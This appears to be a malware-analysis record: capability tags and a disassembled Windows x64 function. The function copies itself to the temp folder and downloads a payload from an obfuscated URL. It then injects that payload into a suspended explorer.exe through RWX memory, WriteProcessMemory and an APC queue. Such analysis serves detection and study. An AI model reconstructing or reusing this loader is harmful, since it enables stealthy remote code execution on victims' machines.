Function at 0x140001697
Capabilities:
Allocate or change rwx memory
Copy file
Create http request
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Inject apc
Read data from internet
Receive data
Resume thread
Use process replacement

Disassembly:
push rbp
push rdi
sub rsp, 0x938
lea rbp, [rsp + 0x80]
call fcn.140001cc0
movabs rax, 0x7364767f3b2d3123
movabs rdx, 0x656971656172656f
mov qword [rbp + 0x850], rax
mov qword [rbp + 0x858], rdx
movabs rax, 0x76757b697d716973
movabs rdx, 0x2c373565363224
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rdx
movabs rax, 0x36202a243f312638
movabs rdx, 0x2e2d242e2b266479
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x818], rdx
movabs rax, 0x2b2069792b3f7665
movabs rdx, 0x65392d6a6b7b6826
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], rdx
movabs rax, 0x282a6a6b7b366e7b
movabs rdx, 0x79203f2c2b223465
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], rdx
movabs rax, 0x6479203f2c2b2234
movabs rdx, 0x236479746b3628
mov qword [rbp + 0x839], rax
mov qword [rbp + 0x841], rdx
lea rax, [rbp + 0x700]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x5f0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
lea rax, [rbp + 0x5f0]
add rax, rdx
movabs rdx, 0x6c5f796f626d6566
movabs rcx, 0x652e726f7461636f
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0xf], 0x657865
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x14000194a
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x700]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x140]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
lea rcx, [rbp + 0x5f0]
lea rax, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140001594
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x140]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000190c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call fcn.140001540
mov eax, 1
jmp 0x140001bdb
mov rax, qword [rbp + 0x140]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov qword [rbp + 0x8a8], 0
mov dword [rbp + 0x8a4], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WebReader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x898], rax
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
mov rax, qword [rbp + 0x898]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x890], rax
jmp 0x140001a43
mov edx, dword [rbp + 0x8a4]
mov eax, dword [rbp + 0x1ec]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x8a8]
mov rcx, rax
call sub.msvcrt.dll_realloc
mov qword [rbp + 0x8a8], rax
mov eax, dword [rbp + 0x1ec]
mov r8d, eax
mov eax, dword [rbp + 0x8a4]
movsxd rdx, eax
mov rax, qword [rbp + 0x8a8]
lea rcx, [rdx + rax]
lea rax, [rbp + 0x1f0]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x8a4]
mov eax, dword [rbp + 0x1ec]
add eax, edx
mov dword [rbp + 0x8a4], eax
lea rcx, [rbp + 0x1ec]
lea rdx, [rbp + 0x1f0]
mov rax, qword [rbp + 0x890]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001a7f
mov eax, dword [rbp + 0x1ec]
test eax, eax
jne 0x1400019dd
lea rdx, [rbp + 0x180]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movq qword [rbp + 0x170], xmm0
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x180]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:Windowsexplorer.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x888], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x880], rax
mov eax, dword [rbp + 0x8a4]
movsxd rdx, eax
mov rax, qword [rbp + 0x888]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x878], rax
mov rax, qword [rbp + 0x878]
mov qword [rbp + 0x870], rax
mov eax, dword [rbp + 0x8a4]
movsxd r8, eax
mov rcx, qword [rbp + 0x8a8]
mov rdx, qword [rbp + 0x878]
mov rax, qword [rbp + 0x888]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x880]
mov rax, qword [rbp + 0x870]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rax
mov rax, qword [rbp + 0x880]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
add rsp, 0x938
pop rdi
pop rbp
ret